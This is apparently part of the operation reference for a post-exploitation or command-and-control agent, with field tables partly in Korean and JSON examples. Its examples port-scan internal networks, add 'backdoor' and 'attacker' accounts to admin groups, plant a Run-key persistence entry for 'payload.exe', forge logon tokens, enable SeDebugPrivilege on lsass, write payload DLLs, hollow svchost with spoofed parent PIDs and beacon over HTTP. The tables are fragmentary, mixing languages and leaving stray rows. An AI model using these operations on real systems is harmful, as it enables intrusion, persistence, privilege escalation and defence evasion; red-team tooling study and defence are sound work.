portsstring필수 (쉼표로 구분된 포트 또는 범위, 예: "22,80,443,8000-8100")
{ "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" }
{ "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" }
FieldType
groupstring필수
usernamestring필수
serverstring선택사항 (빈 값 = 로컬 머신)
{ "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" }
{ "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" }
필드유형
groupstring필수
usernamestring필수
serverstring선택사항 (비워두면 로컬 DC)
{ "op": "remove_user_from_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
FieldType
keystring필수
value_namestring필수 (기본값은 빈 문자열)
valuebytes필수
value_typestring선택 사항 (기본값: "REG_SZ"; 그 외: REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ, REG_QWORD)
{ "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" }
{ "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } }
필드유형
usernamestring필수
passwordstring필수
domainstring선택 사항 (빈 값 = 작업 그룹 또는 UPN 형식)
logon_typeu8선택 사항 (기본값: 9; 2 = 대화형, 3 = 네트워크)
{ "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" }
{ "op": "make_token", "username": "[email protected]", "password": "Password1" }
{ "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 }
필드유형
privilegestring필수 (별칭: priv_name)
searchstring선택 사항 (비어 있으면 현재 프로세스)
{ "op": "enable_privilege", "privilege": "SeDebugPrivilege" }
{ "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" }
target
string
선택 사항 (비어 있음 = 로컬 머신)
{ "op": "delete_service", "service_name": "MySvc" }
{ "op": "delete_service", "target": "192.168.1.10", "service_name": "MySvc" }
필드유형
task_idu8필수
export_namestring선택 사항 (기본값: "Run")
{ "op": "generate_dll", "task_id": 2 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" }
필드유형
imagestring필수
task_idu8필수
searchstring선택 사항 (PPID를 스푸핑할 프로세스 이름/명령줄)
{ "op": "hollow", "image": "C:\Windows\System32\svchost.exe", "task_id": 1 }
{ "op": "hollow", "image": "C:\Windows\System32\RuntimeBroker.exe", "task_id": 1, "search": "explorer" }
필드유형
imagestring필수
task_idu8필수
searchstring선택 사항 (PPID를 스푸핑할 프로세스 이름/명령줄)
{ "op": "hollow_apc", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "hollow_apc", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe" }
FieldType
hook_idi32optional (frida_hook가 반환한 hook ID)
namestringoptional (frida_hook의 name 필드로 설정된 hook 이름)
{ "op": "frida_unhook" }
{ "op": "frida_unhook", "hook_id": 1 }
{ "op": "frida_unhook", "name": "my_hook" }
필드유형
hoststring선택 사항
portu16선택 사항 (기본값: 80)
intervalu32선택 사항 (폴링 간격(ms); 기본값: 5000)
securebool선택 사항 (기본값: false)
agent_idstring선택 사항 (비콘 요청 시 전송되는 식별자)
{ "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true }
선택 사항 (생략 시 현재 프로세스; "all" = 접근 가능한 모든 프로세스)
{ "op": "dll_list" }
{ "op": "dll_list", "pid": 1234 }
{ "op": "dll_list", "pid": "all" }
선택사항
"all"
{ "op": "malfind" }
{ "op": "malfind", "pid": 1234 }
{ "op": "malfind", "pid": "all" }